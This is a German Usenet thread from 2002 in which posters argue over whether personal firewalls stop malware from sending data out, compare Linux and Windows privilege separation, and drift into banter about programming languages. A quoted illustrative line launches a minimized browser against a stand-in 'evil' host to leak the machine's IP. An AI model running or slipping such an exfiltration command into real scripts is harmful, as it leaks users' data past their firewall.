Ich habe die Innereien von Windows kennengelernt, und muss sagen: Die
Innereien einer zwei wochen alten Wasserleiche sind Appetitlicher...
A. Melon
> >> >> Generell kann das Schadprogramm einfach IE als Transporteur nutzen.
> >> >> Welcher PF-Nutzer "blockt" schon IE.
> >> >
> >> > ACK. Der etwas schlauere (forschende) Benutzer blockt mit der PF den
> >> > (Internet)Explorer und surft mit Opera/Mozarella/Lynx.
> >>
> >> Und der schlauere Grieche schaut in der Registry nach, welchen Browser
> >> denn $USER am liebsten verwendet.
> >
> > Lynx steht nicht in der Registry :-p
>
> Doch, in der "LRU" liste des exploders, wenn du das nicht immer aus
> einer cmd.exe shell heaus startest. ;)
_Natuerlich_ wird Lynx immer via Win-R cmd CR lynx CR gestartet ;-)
> >> Oder aber er schaut sich gleich das Regelwerk der $PF an um zu sehen
> >> mit welchem Programm er am leichtesten rauskommt.
> >
> > Laesst sich das nicht mit Berechtigungen unter NT/XP verhindern?
>
> Du entfernst gerne Manuell von allen moeglichen Registry-keys die
> User-nur-lese-rechte? nach jedem aendern durch die priviligierte
> Applikation?
Aeh... Wenn das einmal richtig eingestellt ist, bleibt das ja so *huestel*
> > [Letztendlich alles unsicher],ACK
>
> Ich habe die Innereien von Windows kennengelernt, und muss sagen: Die
> Innereien einer zwei wochen alten Wasserleiche sind Appetitlicher...
Ok, ich geb auf. Der marginale Schutz unter fuer die Personal Firewall
optimalen Umstaenden ist wohl doch vernachlaessigbar und singe mit im Chor:
Personal Firewalls bieten de facto keinen nennenswerten Schutz.
Haluk
Ja.
> 2. Dieser Browser darf gemäß den Einstellungen in der PF
> Daten ins Netz senden. Das braucht man zum Browsen.
Ja.
> 3. Ein Schadprogramm benutzt den Browser, ebenso wie ihn auch
> der Benutzer des Rechners benutzt, zum Versenden von Daten.
Meinetwegen.
> Das bringt nur etwas, wenn das Schadprogramm und der Browser
> unter einem User laufen, der keine relevanten Daten lesen
> kann.
Meinetwegen auch.
> > Eine PF ist kein Wundermittel gegen alles. In Verbindung
> > mit einer guten Anti-Viren Software und Trojanerfindern
> > (Tiny TrojanTrap) bietet eine PF recht brauchbare
> > Sicherheit.
>
> Wie kann man nur ein System einsetzten, für das man erst so
> ein Geraffel benötigt, um von "brauchbarer Sicherheit"
> sprechen zu können?
Jedes System hat seine Schwächen, auch Linux. Es wurden sicherlich auch
Trojaner für Linux fertiggestellt. Tiny TrojanTrap findet verdächtige
Vorgänge im System. Somit ist eine kompromittierung schnell bemerkt.
Dieter Funck
(^^^^^ Hast du den Prozess gegen deine Eltern wegen des Namens
eigentlich schon gewonnen?)
> "Juergen P. Meier" <J...@lrz.fh-muenchen.de> wrote:
> > Und der schlauere Grieche schaut in der Registry nach, welchen
> > Browser denn $USER am liebsten verwendet.
ACK
> Lynx steht nicht in der Registry :-p
Wenn er als Standardbrowser oder Standardanwendung für *.html
festgelegt ist, schon. Im Unterschied zu IE sind
$Alternativbrowser allerdings nicht derart mit $Win_Version
verquickt, obwohl ich mir bei Netscape nicht so sicher bin,
wenn ich all die Registry_Keys sehe (danke AOLol).
<http://www.heise.de/newsticker/data/hob-02.10.00-000/>
> > Oder aber er schaut sich gleich das Regelwerk der $PF an um zu
> > sehen mit welchem Programm er am leichtesten rauskommt.
> Laesst sich das nicht mit Berechtigungen unter NT/XP verhindern?
Nein. Wenn der $PF_Process via System lesend darauf zugreifen
darf (sogar muss, sonst hätte er ja keine Regeln), dann kann
$Schadprogramm das auf dem gleichen Weg auch. Und wenn sich
$Schadprogramm als Systemprozess anmeldet, hat es auch
Schreibzugriff. Oder es liest als normale Anwendung die
Registry nur aus und übermittelt die gewonnen Daten an ein
anderes Modul, dass dann entweder erlaubte Verbindungen tunnelt
oder sich als Systemprozess Schreibrechte verschaffen kann. Es
wundert mich sowieso, dass nicht schon längst mehr einschlägige
Trojaner aufgetaucht sind.
<http://www.heise.de/newsticker/data/pab-18.05.01-001/>
Gruss
Dieter
--
Wie heisst ein Boomerang, der nicht zurückkommt?
Stock.
(Harald Schmidt am 26.04.02)
Karsten Seckendorf
> Jedes System hat seine Schwächen, auch Linux.
Das was Du bootest ist aber kein "System". Es ist
Flickwerk. Und nun geh zum Birnenbaum um Äpfel zu
pflücken!
mfg,
Karsten
Henryk Plötz
Am Fri, 10 May 2002 13:02:55 +0200 schrieb Haluk:
> > simpleipreporter.cmd
> > start /min explorer http://script.evil.org/submit?myip=%IP%
>
> Was soll der Link bezwecken? Bei mir erscheint nur eine Fehlermeldung,
> daß die Verbindung nicht aufgebaut werden konnte. Wo ist die
> Schwachstelle?
In deinem Studium hast du doch sicher schon mal bemerkt, dass man manchmal
statt eines kurzen Variablennamen und einer Erklärung als Kommentar dazu,
versucht den Variablennamen selbstredend zu machen und sich den Kommentar
zu sparen. Also statt int a; // ein Zähler benutzt man manchmal auch
int zaehler; .
Genau das ist hier auch passiert: script.evil.org ist eine Variable und
steht für den Webserver eines 'Bösen Buben', submit ist eine Variable und
steht für ein Skript des Bösen Buben auf seinem Webserver (die Sprache ist
sogar egal), myip=%IP% ist eine Variable und steht für einen beliebigen
Inhalt den eine beliebige Anwendung auf deinem Rechner an diesen Bösen
Buben übermitteln möchte.
Das war jetzt die einfache Möglichkeit Daten rauszuschaffen ohne das die
PF eingreifen kann, der einzige Nachteil wäre, dass der Benutzer noch das
minimierte Fenster sieht. Aber als Windows-Benutzer oder gar
-Programmierer fällt dir doch sicherlich ein Weg ein, wie man das
hinkriegt ohne das IE-Fenster anzuzeigen.
--
Henryk Plötz
Grüße aus Berlin
Lasse Kliemann
> > 1. Du setzt auf Deinem Rechner einen Browser ein.
>
> Ja.
>
> > 2. Dieser Browser darf gemäß den Einstellungen in der PF
> > Daten ins Netz senden. Das braucht man zum Browsen.
>
> Ja.
>
> > 3. Ein Schadprogramm benutzt den Browser, ebenso wie ihn
> > auch der Benutzer des Rechners benutzt, zum Versenden von
> > Daten.
>
> Meinetwegen.
>
> > Das bringt nur etwas, wenn das Schadprogramm und der
> > Browser unter einem User laufen, der keine relevanten
> > Daten lesen kann.
>
> Meinetwegen auch.
Ist damit jetzt geklärt, wie die PF umgangen werden kann?
> > > Eine PF ist kein Wundermittel gegen alles. In
> > > Verbindung mit einer guten Anti-Viren Software und
> > > Trojanerfindern (Tiny TrojanTrap) bietet eine PF recht
> > > brauchbare Sicherheit.
> >
> > Wie kann man nur ein System einsetzten, für das man erst
> > so ein Geraffel benötigt, um von "brauchbarer Sicherheit"
> > sprechen zu können?
>
> Jedes System hat seine Schwächen, auch Linux. Es wurden
> sicherlich auch Trojaner für Linux fertiggestellt.
Mit Sicherheit. Nur wen kümmert das? Mich sicher nicht. Wenn
man nicht so dusselig ist, unbekannte Programme als root zu
starten, bleibt einem Schadprogramm, welches das System
verändern will, auf einem gut konfigurierten Linux lediglich
ein eventueller Bug im Kernel[1], mit dessen Hilfe das
Rechtesystem untergraben werden kann. Sowas hat es schon
lange nicht mehr gegeben.
Und auch die Daten, die nicht zum System gehören, sondern in
einem Homeverzeichnis liegen, lassen sich einfach schützen.
Das macht man, indem man lediglich eine kleine, überschaubare
Menge von Programmen, welchen man vertraut, auf diesen Daten
operieren läßt. Möchte man ein Programm ausführen, das nicht
zu dieser Menge gehört, so macht man das unter einer extra
User ID. Und wieder braucht es einen Bug im Kernel[1], damit
da was passieren kann.
> Tiny TrojanTrap findet verdächtige Vorgänge im System.
> Somit ist eine kompromittierung schnell bemerkt.
Es ist sicher eine gute Idee, sein System zu beobachten. Ich
mache das auch, indem ich von einigen Dateien Prüfsummen
nehme und gelegentlich vergleiche. Aber das ist eine
Zusatzmaßnahme, eher so "just for fun"; bei mir jedenfalls.
Ich denke nicht, daß ich das wirklich brauche.
Footnotes:
[1] Eventuell genügt unter gewissen Umständen auch ein Bug im
Windowmanager oder in X, wenn man das einsetzt. Vielleicht
kann dazu jemand anderes Näheres schreiben. Ich erinnere mich
jedenfalls, daß es beim fvwm2 mal einen Buffer Overflow beim
Setzen der Titelzeile gab.
Dietmar Braun
> Du *kannst* nicht wirklich so blöd sein.
Zumindest hat er es mittlerweile geschafft, einen korrekten Sigtrenner
einzustellen.
Zum restlichen Inhaltlichen sage ich lieber nix.
Dietmar
--
begin www.myparty.yahoo.com
Get into your blues shoes!
end
Thomas Kaschwig
> Wie ich in meinem Bekanntenkreis gesehen habe was die in ihrem Studium
> gemacht haben - das geht auf keine Kuhhaut.
> Und nach dem Studium ist ja alles egal, da kann man doof sein wie man
> will, man hat ja den Zettel.
>
> Soviele Pferde können gar nicht kotzen wieviele "IT-Security-People" ich
> gesehen habe die mit diesem Diplomzettel die Stelle gekriegt haben und
> ähnlichen Dünnsinn wie Haluk verzapfen :(
Mir ist nicht bekannt, daß die Konfiguration einer Firewall Inhalt eines
Informatik-Studiums ist und das ist auch gut so. Man lernt auch nicht
explizit eine oder mehrere Programmiersprachen. Ein Studium besteht nicht
nur aus dem Besuchen von verschiedenen Vorlesungen, Praktika, Seminaren und
dem Bestehen einiger Klausuren, es sollte noch einen grossen Anteil an
persönlicher und freiwilliger Weiterbildung beinhalten. Dazu kann es sicher
gehören, hervorragend C/C++/Java/PHP/PERL/usw. programmieren zu können oder
aber ein Experte auf dem Gebiet Netzwerksicherheit zu sein.
Wer nur das nötigste für sein Diplom tut, kann entsprechendes Papier
eigentlich direkt in den Papierkorb befördern.
Gruß
Thomas
--
Thomas Kaschwig - ne...@kaschwig.net - http://www.kaschwig.net/
PGP-Key: http://www.kaschwig.net/public.key
Haluk
> man nicht so dusselig ist, unbekannte Programme als root zu
> starten, bleibt einem Schadprogramm, welches das System
> verändern will, auf einem gut konfigurierten Linux lediglich
> ein eventueller Bug im Kernel[1], mit dessen Hilfe das
> Rechtesystem untergraben werden kann. Sowas hat es schon
> lange nicht mehr gegeben.
Unter Windows 2000 ist es nicht anders.
> Und auch die Daten, die nicht zum System gehören, sondern in
> einem Homeverzeichnis liegen, lassen sich einfach schützen.
> Das macht man, indem man lediglich eine kleine, überschaubare
> Menge von Programmen, welchen man vertraut, auf diesen Daten
> operieren läßt. Möchte man ein Programm ausführen, das nicht
> zu dieser Menge gehört, so macht man das unter einer extra
> User ID. Und wieder braucht es einen Bug im Kernel[1], damit
> da was passieren kann.
Am einfachsten geht das Unter Windows 2000, wenn ein anderer Benutzer für
wichtige Daten erhält. Sollte das System kompromittiert werden, kann nicht
auf diese wegen der Rechtevergabe und Dateiverschlüsselung zugegriffen
werden. Etwas komplizierter, aber deinem Beispiel ähnlich geht das mit
COM-Objekten. Dort können Zugriffsrechte für bestimmte Programme eingestellt
werden.
> > Tiny TrojanTrap findet verdächtige Vorgänge im System.
> > Somit ist eine kompromittierung schnell bemerkt.
>
> Es ist sicher eine gute Idee, sein System zu beobachten. Ich
> mache das auch, indem ich von einigen Dateien Prüfsummen
> nehme und gelegentlich vergleiche. Aber das ist eine
> Zusatzmaßnahme, eher so "just for fun"; bei mir jedenfalls.
> Ich denke nicht, daß ich das wirklich brauche.
Dagegen spricht nichts. Schlimm wird es nur, wenn sich jemand auf sein
bestehendes System verlässt. Außerdem lernt man, falls das System fallen
sollte, wo und wie sich der Trojaner eingenistet hat.
> [1] Eventuell genügt unter gewissen Umständen auch ein Bug im
> Windowmanager oder in X, wenn man das einsetzt. Vielleicht
> kann dazu jemand anderes Näheres schreiben. Ich erinnere mich
> jedenfalls, daß es beim fvwm2 mal einen Buffer Overflow beim
> Setzen der Titelzeile gab.
Linux hatte mal einen Bug im Kernel, der es ermöglichte, das System zu
kompromittieren. Das ist inzwischen ca. 2-3 Monate her, als es bekannt
wurde.
http://news.zdnet.de/story/0,,t101-s2105342,00.html
Jedes System, auch das angeblich sicherste, hat Fehler. Die Kunst besteht
darin, dass ein potentieller Angreifer die Schachstelle nicht ausnutzen
kann.
Jens Hoffmann
Haluk <Ho...@gmx.de> wrote:
>Am einfachsten geht das Unter Windows 2000, wenn ein anderer Benutzer für
>wichtige Daten erhält.
Unverstaendlich. Da fehlt ein Objekt im Satz?
>Sollte das System kompromittiert werden, kann nicht
>auf diese wegen der Rechtevergabe und Dateiverschlüsselung zugegriffen
>werden.
Wenn das System kompromittiert ist, ist das Rechtesystem auch ausgehebelt.
Gruss,
Jens
Rainer Weikusat
> Man lernt auch nicht explizit eine oder mehrere Programmiersprachen.
Würdest Du Dich bitte solange unter den Stein zurückverkrümeln, unter
dem Du hervorgekrochen bist, bis Du wenigstens kapiert hast, was
obiger Satz effektiv bedeutet?
Du wirst das daran erkennen können, das er keinen Sinn mehr zu ergeben
scheint.
F'up2 poster
Haluk
> Das war jetzt die einfache Möglichkeit Daten rauszuschaffen ohne das die
> PF eingreifen kann, der einzige Nachteil wäre, dass der Benutzer noch das
> minimierte Fenster sieht. Aber als Windows-Benutzer oder gar
> -Programmierer fällt dir doch sicherlich ein Weg ein, wie man das
> hinkriegt ohne das IE-Fenster anzuzeigen.
Unter:
http://www.heise.de/ct/browsercheck/e5demo.shtml
stehen Sicherheitslücken des IE. Keiner der Sicherheitslücken funktioniert
auf meinem System, obwohl ich auch den IE einsetze. Nichteinmal das
aufgeführte Beispielprogramm läßt sich starten. Das habe ich nicht meiner PF
zu verdanken, sondern den Sicherheitseinstellungen meines Betriebssystems
(W2K) und des IE.
Dein Beispiel müßte anschaulich dargestellt werden, damit ich das
nachvollziehen kann. Es können Dateien per Upload über den Browser
übertragen werden. Theoretisch könnte ein Angriff etwas ähnliches ausnutzen,
dazu müßte der Angreifer die gleichen Rechte, wie der User auf dem
Betriebssystem haben. Dies ist aber nicht nur auf Windows-Betriebssysteme
und MS-Browser beschränkt, es funktioniert auch auf anderen Systemen. Mich
persönlich würde eine Demonstration über diese potentielle Sicherheitslücke
freuen.
Haluk
> dem Du hervorgekrochen bist, bis Du wenigstens kapiert hast, was
> obiger Satz effektiv bedeutet?
Persönliche Angriffe gehören nicht hierher.
> Du wirst das daran erkennen können, das er keinen Sinn mehr zu ergeben
> scheint.
Welche Programmiersprachen lernt ihr in Mainz? Java? Meine Professor(inn)en
lehren uns, daß man alle Programmiersprachen beherrschen muß und nicht nur
eine. Die Unterschiede zwischen den Programmier(hoch)sprachen sind so
gering, daß sie nach einer kurzen Einarbeitungszeit überwunden sind.
Reinhard Pfeiffer
>> simpleipreporter.cmd
>> start /min explorer http://script.evil.org/submit?myip=%IP%
>Was soll der Link bezwecken? Bei mir erscheint nur eine Fehlermeldung, daß
>die Verbindung nicht aufgebaut werden konnte.
Dieser Link kann und soll bei Dir auch gar nicht tun!
>Wo ist die Schwachstelle?
Man kann mit dem Link wunderbar Deine Partition C:\ anschauen!
Putz mal Dein Windoof durch, ist vollkommen zugemüllt!
--
Gruß Reinhard
email: r...@reinhard-pfeiffer.de
www: http://www.reinhard-pfeiffer.de
Thomas Kaschwig
> Würdest Du Dich bitte solange unter den Stein zurückverkrümeln, unter
> dem Du hervorgekrochen bist,
Geht es Dir noch ganz gut?
> bis Du wenigstens kapiert hast, was obiger Satz effektiv bedeutet?
Ich weiss was er bedeutet, sonst hätte ich ihn nicht geschrieben. Könntest
Du mir mal bitte erklären, was Du daran auszusetzen hast?
> Du wirst das daran erkennen können, das er keinen Sinn mehr zu ergeben
> scheint.
Nein. Erkläre es mir, falls es Dir möglich ist.
> F'up2 poster
Ignoriert, da f'up gar nicht gesetzt.
Henryk Plötz
Am Sat, 11 May 2002 17:48:24 +0200 schrieb Haluk:
[Daten über HTTP raustunneln]
> Unter:
>
> http://www.heise.de/ct/browsercheck/e5demo.shtml
>
> stehen Sicherheitslücken des IE.
OK, ich gebe zu es war ein Fehler den IE in meinem Posting zu erwähnen da
ich mir hätte denken können, dass du dich sofort darauf stürzt. Bitte lies
den letzten Absatz meines Postings nochmal und ersetze "IE" durch
"Browser".
Falls du es dann nicht verstehst: Es geht nicht darum Sicherheitslücken in
deinem Browser[1] aufzudecken, sondern dir zu demonstrieren, dass deine
Personal Firewall nicht verhindern kann, dass eine beliebige Software -
sei es ein Trojanisches Pferd oder Spyware - Daten nach draussen schicken
kann. Alles was sie dazu tun muss, ist deinem Browser zu sagen, er möchte
doch bitte mal eine Seite aufrufen und allein durch diesen Aufruf und die
in dem URL übergebenen Paramater können Daten nach draussen getunnelt
werden und eine eventuelle Rückantwort eintreffen. Da ich nicht annehme,
dass du deinem Browser generell den Aufbau von HTTP-Verbindungen verbieten
willst und auch nicht jede Verbindung extra bestätigen willst, gibt es
keine Möglichkeit das zu verhindern.
[1] Merkst du was? Genau, kein Wort von IE.
Lukas Geyer
> Welche Programmiersprachen lernt ihr in Mainz? Java? Meine
> Professor(inn)en lehren uns, daß man alle Programmiersprachen
> beherrschen muß und nicht nur eine. Die Unterschiede zwischen den
> Programmier(hoch)sprachen sind so gering, daß sie nach einer kurzen
> Einarbeitungszeit überwunden sind.
Super, aber das paßt leider nicht in eine sig. Zeig mir einen
Menschen, der alle Programmiersprachen kann und ich zeige Dir den
Stein der Weisen. Und was die Unterschiede zwischen den Sprachen
angeht: Sagen dir brainfuck, lisp, ML, forth, prolog, APL, J, haskell
und befunge etwas? Wenn nicht, wirf doch mal google an und dann
überdenke die Aussage nochmal. (Naja, das mit dem Denken war jetzt
rein rhetorisch...)
Lukas
Thomas Kaschwig
> Welche Programmiersprachen lernt ihr in Mainz? Java? Meine
> Professor(inn)en lehren uns, daß man alle Programmiersprachen beherrschen
> muß und nicht nur eine.
Wieviel Semester Regelstudienzeit habt Ihr, 23? ;)
Ist Dir (bzw. Deinen Professoren) eigentlich bewusst, wieviele verschiedene
Programmiersprachen es gibt?
> Die Unterschiede zwischen den Programmier(hoch)sprachen sind so gering,
> daß sie nach einer kurzen Einarbeitungszeit überwunden sind.
Du weisst schon, daß es ausserhalb der imperativen/OO-Programmierung noch
einiges mehr gibt.
Rainer Weikusat
> * Rainer Weikusat <weik...@students.uni-mainz.de> wrote:
> > Würdest Du Dich bitte solange unter den Stein zurückverkrümeln, unter
> > dem Du hervorgekrochen bist,
>
> Geht es Dir noch ganz gut?
Leidlich.
> > bis Du wenigstens kapiert hast, was obiger Satz effektiv bedeutet?
>
> Ich weiss was er bedeutet, sonst hätte ich ihn nicht geschrieben. Könntest
> Du mir mal bitte erklären, was Du daran auszusetzen hast?
Falls jemand PostScript von Dir möchte, lernst Du halt
PostScript. JAPL ...
F'up2 poster
Thomas Kaschwig
> Zeig mir einen Menschen, der alle Programmiersprachen kann und
> ich zeige Dir den Stein der Weisen.
Ich würde beides gerne sehen, aber die Chancen dafür stehen wohl wirklich
nicht besonders gut. :)
> Und was die Unterschiede zwischen den Sprachen
> angeht: Sagen dir brainfuck, lisp, ML, forth, prolog, APL, J, haskell
> und befunge etwas?
Die Aussage mit *allen* Programmiersprachen fand ich auch äusserst amüsant,
aber formulieren wir das ganze etwas um und schwächen es ab, dann macht die
Aussage schon Sinn:
Man sollte möglichst alle Programmierparadigmen kennen und dazu noch gute
Kenntnisse in mindestens einem ihrer Vertreter haben, dann fällt es nicht
schwer, sich schnell auch in verwandte Sprachen einzuarbeiten.
Wer also hinreichende Kenntnisse in der logischen, funktionalen, imperativen
und objektorientierten Programmierung hat, sollte schon ganz gut damit
leben können.
Rainer Weikusat
> Welche Programmiersprachen lernt ihr in Mainz? Java? Meine Professor(inn)en
> lehren uns, daß man alle Programmiersprachen beherrschen muß und nicht nur
> eine. Die Unterschiede zwischen den Programmier(hoch)sprachen sind so
> gering, daß sie nach einer kurzen Einarbeitungszeit überwunden sind.
Das ist richtig, aber bei Dir sehe ich da wenig Aussichten.
Felix von Leitner
> Wenn das System kompromittiert ist, ist das Rechtesystem auch ausgehebelt.
Das kommt auf die Definition von "kompromittiert" an.
Wenn jemand z.B. einen Buffer Overflow in qmail-smtpd findet, hindert
ihn das Unix Rechtesystem daran, auf mehr als die Incoming-Queue
zuzugreifen.
Felix
--
Horses are forbidden to eat fire hydrants in Marshalltown, Iowa.
Lukas Mai
[snip]
> Die Aussage mit *allen* Programmiersprachen fand ich auch äusserst amüsant,
> aber formulieren wir das ganze etwas um und schwächen es ab, dann macht die
> Aussage schon Sinn:
> Man sollte möglichst alle Programmierparadigmen kennen und dazu noch gute
> Kenntnisse in mindestens einem ihrer Vertreter haben, dann fällt es nicht
> schwer, sich schnell auch in verwandte Sprachen einzuarbeiten.
> Wer also hinreichende Kenntnisse in der logischen, funktionalen, imperativen
> und objektorientierten Programmierung hat, sollte schon ganz gut damit
> leben können.
Ja, aber:
Es gibt immer noch noit o' mnain worb, INTERCAL, Java2k, Tamerlane ...
Die scheinen irgendwie nicht ganz ins Schema zu passen.
Andererseits kann man auch ohne die "ganz gut leben" ;-)
MfG
Lukas
--
/*>++++++++++++[<+++++++>-]<.>+++++[<++++>-]<.---.+++++++++++++.-------------.[
-]>++++++++[<++++>-]*/#include<stdio.h>/*+++++++++[<++++++++>-]<+.++++++++++.*/
/*[-]>++++++++[<++++>-]<*/int main(void){return puts("There is no .")&0;}/*>+++
++++++++++[<++++++>-]<.+.[-]>++++++++[<++++>-]<.++++++++++++++.[-]++++++++++.*/
Florian Weimer
> Das kommt auf die Definition von "kompromittiert" an.
> Wenn jemand z.B. einen Buffer Overflow in qmail-smtpd findet, hindert
> ihn das Unix Rechtesystem daran, auf mehr als die Incoming-Queue
> zuzugreifen.
Wirklich? Ich dachte, der Zugriff auf den auf localhost horchenden
Webserver wäre möglich.
Thomas Kaschwig
> Es gibt immer noch noit o' mnain worb, INTERCAL, Java2k, Tamerlane ...
> Die scheinen irgendwie nicht ganz ins Schema zu passen.
Hehe... nagut, da hast Du aber ein paar leckere Ausnahmen parat gehabt! :]
Aber ich glaube selbst, daß man viele der Sprachen, die z.B. auf
http://purists.org/esoteric/index.html#alphabet zu finden sind, mit viel
wohlwollen zu einem der genannten Programmierparadigmen zuordnen könnte.
> Andererseits kann man auch ohne die "ganz gut leben" ;-)
Ja, ich bezog mich auch eher auf die Sprachen, die im "richtigen Leben"
eingesetzt werden... wobei es sicher interessant wäre, mal ein etwas
grösseres Projekt in Brainfuck zu implementieren. ;)
Pascal Gienger
> Falls jemand PostScript von Dir möchte, lernst Du halt
> PostScript. JAPL ...
Wieso Du gerade PostScript erwähnst? Im Gegensatz zu manch anderer
"hippen" Sprache finde ich PostScript sogar erstaunlich strukturiert und
nach ein wenig Beschäftigung mit der Materie wirklich bewundernswert
vielseitig.
> F'up2 poster
Ignored, ich hoffe Du verzeihst mir noch einmal...
Pascal
Holger Paulsen
> Dagegen spricht nichts. Schlimm wird es nur, wenn sich jemand auf sein
> bestehendes System verlässt.
Ich verfolge die Diskussion nun schon seit einiger Zeit, und
ich muß gestehen, daß ich den Eindruck habe, daß Du genau
das tust.
> Linux hatte mal einen Bug im Kernel, der es ermöglichte, das System zu
> kompromittieren. Das ist inzwischen ca. 2-3 Monate her, als es bekannt
> wurde.
Der Linux-Kernel ist schon vom Umfang her derart komplex,
daß mich ein absolut bug-freier durchaus überraschen würde.
> http://news.zdnet.de/story/0,,t101-s2105342,00.html
Schön. ZD berichtet über ein _mögliches_ Problem. ZD gibt
nicht an, ob dieses Problem irgendwann einmal praktisch
benutzt wurde, um irgendein System zu kompromittieren. ZD
gibt aber an, daß ein führender Linux-Distributor dieses
Problem gelöst hat.
> Jedes System, auch das angeblich sicherste, hat Fehler. Die Kunst besteht
> darin, dass ein potentieller Angreifer die Schachstelle nicht ausnutzen
> kann.
Völlige Zustimmung. Die von Dir beschriebene Schwachstelle
fiel in eine Zeit, in der die Kernel-Entwicklung von Linux
unangenehm stürmisch verlief. Ein ernsthafter Anwender von
Linux im Server-Bereich sollte zu dieser Zeit (und nicht nur
dann, sondern eigentlich immer) die üblichen Quellen
beobachtet haben. Na super. Es gab ein Problem. Als darüber
berichtet wurde, gab es schon eine Lösung. Wenn ich
polemisch werden darf: ist Microsoft besser?
Mir tut es im momentan ziemlich leid, daß ich hier Dinge
aufgreife, die zu einer Diskussion Linux versus Windows
führen können. Um es klarzustellen: Ich habe keine Ahnung
von Windows -- mein letzter Kontakt war bei 3.11; was ich
dann noch sah war wenig erheiternd, andererseits habe ich
mir von Leuten, die mit Windows rummachen, sagen lassen, daß
Windows 2000 durchaus das Beste sein soll, was Microsoft
geliefert hat.
Aber diese Diskussion hat absolut nichts mit Firewalls zu
tun. Bei einer Antwort _unbedingt_ ein Followup-To in die
passende Gruppe vorsehen.
Holger
Lasse Kliemann
> > Mit Sicherheit. Nur wen kümmert das? Mich sicher nicht.
> > Wenn man nicht so dusselig ist, unbekannte Programme als
> > root zu starten, bleibt einem Schadprogramm, welches das
> > System verändern will, auf einem gut konfigurierten Linux
> > lediglich ein eventueller Bug im Kernel[1], mit dessen
> > Hilfe das Rechtesystem untergraben werden kann. Sowas hat
> > es schon lange nicht mehr gegeben.
>
> Unter Windows 2000 ist es nicht anders.
beschrieben, unter nicht priviligierten Usern ausführen kann,
warum dann noch Virenscanner, Trojanerscanner oder eine PF
einsetzen? Außer vielleicht als Spielerei?
> > Und auch die Daten, die nicht zum System gehören, sondern
> > in einem Homeverzeichnis liegen, lassen sich einfach
> > schützen. Das macht man, indem man lediglich eine
> > kleine, überschaubare Menge von Programmen, welchen man
> > vertraut, auf diesen Daten operieren läßt. Möchte man ein
> > Programm ausführen, das nicht zu dieser Menge gehört, so
> > macht man das unter einer extra User ID. Und wieder
> > braucht es einen Bug im Kernel[1], damit da was passieren
> > kann.
>
> Am einfachsten geht das Unter Windows 2000, wenn ein
> anderer Benutzer für wichtige Daten erhält.
Es sollte da wohl "herhält" heißen. Ja, das ist ein
vernünftiges Konzept. Ich gehe auf meinen Rechner noch weiter
und lege sehr viele verschiedene User an. Zum Beispiel extra
einen zum Betrieb des Webbrowsers. Man könnte da noch weiter
unterteilen, zum Beispiel einen User, mit dem man frei
herumsurft und einen, mit dem man nur vertrauenswürdige
Seiten ansteuert. Mit letzterem könnte man dann getrost
Passwörter übermitteln und bräuchte sich keine Sorgen zu
machen, ob er Browser diese speichert und diese so von
böswilligen Webseiten ausspioniert werden könnten.
Eine Anwendung für eine PF wäre vielleicht, daß man dem User
mit den wichtigen Daten jegliche Kommunikation über das Netz
untersagt. Die Anwendung dieser Maßnahme legt aber den
Verdacht nahe, daß man sich der korrekten Funktionsweise der
Programme, mit denen man auf seinen wichtigen Daten arbeitet,
nicht ganz sicher ist. Und das widerum ist in jedem Falle
unhaltbar.
> Sollte das System kompromittiert werden, kann nicht auf
> diese wegen der Rechtevergabe und Dateiverschlüsselung
> zugegriffen werden.
Unter "Kompromittieren" verstehe ich, daß jemand anderes auf
dem System die Rechte von root oder einem Äquivalent dazu
erhält. Dann nützt Dir höchstens noch eine Verschlüsselung
etwas.
Dadurch, daß man vertrauensunwürdige Programme lediglich
unter Usern ohne jegliche Rechte laufen läßt - das bedeutet
under Unix zum Beispiel auch, daß sie keine suid Binaries
ausführen dürfen - wird eine Kompromittierung jedoch stark
erschwert.
> Die Kunst besteht darin, dass ein potentieller Angreifer
> die Schachstelle nicht ausnutzen kann.
Worin besteht die Kunst Deiner Meinung nach? Dieser Satz dort
oben ergibt so keinen Sinn. Wenn Du meintest, die Kunst
bestehe darin, Schwachstellen so schnell wie möglich zu
stopfen, so hast Du recht.
Felix von Leitner
> > Das kommt auf die Definition von "kompromittiert" an.
> > Wenn jemand z.B. einen Buffer Overflow in qmail-smtpd findet, hindert
> > ihn das Unix Rechtesystem daran, auf mehr als die Incoming-Queue
> > zuzugreifen.
> Wirklich? Ich dachte, der Zugriff auf den auf localhost horchenden
> Webserver wäre möglich.
Welchen auf localhost horchenden Webserver?
Abgesehen davon sprach ich natürlich vom Filesystem.
Wenn der Mailserver mehrere Netzinterfaces hat, kann man nach dem Buffer
Overflow Sockets aufmachen, das ist richtig.
Felix
Felix von Leitner
> Wieso Du gerade PostScript erwähnst? Im Gegensatz zu manch anderer
> "hippen" Sprache finde ich PostScript sogar erstaunlich strukturiert
Wot? Du sprichst doch nicht zufällig gerade von der
Dokumentenstrukturierung durch magische Kommentare, oder?
Was für ein Konzept!
Felix von Leitner
> Abgesehen davon sprach ich natürlich vom Filesystem.
> Wenn der Mailserver mehrere Netzinterfaces hat, kann man nach dem Buffer
> Overflow Sockets aufmachen, das ist richtig.
Boink, Sockets kann man natürlich in jedem Fall aufmachen, nur mit mehr
als einem Netzinterface ist es interessant. Ich brauche mehr Schlaf.
Rainer Weikusat
> Rainer Weikusat <weik...@students.uni-mainz.de> wrote:
> > Falls jemand PostScript von Dir möchte, lernst Du halt
> > PostScript. JAPL ...
>
> Wieso Du gerade PostScript erwähnst?
Es war hübsch.
Lukas Mai
> Ja, ich bezog mich auch eher auf die Sprachen, die im "richtigen Leben"
> eingesetzt werden... wobei es sicher interessant wäre, mal ein etwas
> grösseres Projekt in Brainfuck zu implementieren. ;)
Es gibt Compiler und Interpreter für und in brainfuck.
Aber richtig cool finde ich
http://www-2.cs.cmu.edu/~dst/DeCSS/Gallery/css-brainfuck.txt :)
Lukas
wegen OT jetzt aber f'up2p
Jens Hoffmann
Haluk <Ho...@gmx.de> wrote:
>lehren uns, daß man alle Programmiersprachen beherrschen muß und nicht nur
Alle?
>eine. Die Unterschiede zwischen den Programmier(hoch)sprachen sind so
>gering, daß sie nach einer kurzen Einarbeitungszeit überwunden sind.
Gering?
Kopfschuettelnd,
Jens
Andre Sack
>> >> simpleipreporter.cmd
>> >> start /min explorer http://script.evil.org/submit?myip=%IP%
>
>
>Was soll dieser Link ausführen? Was wird getunnelt? Warum funktioniert das
>nicht mit meinem IE?
Schon den "Any"-Key gefunden?
Andre
--
email: ifa...@nef.wh.uni-dortmund.de
icq #: 1 396 877 [RdNeV]
Rainer Weikusat
Passend dazu ignoriert pscript.dll das natürlich auch und zwar 'aus
Geschwindigkeitsgründen' (haha)
F'up2 poster
Rainer Weikusat
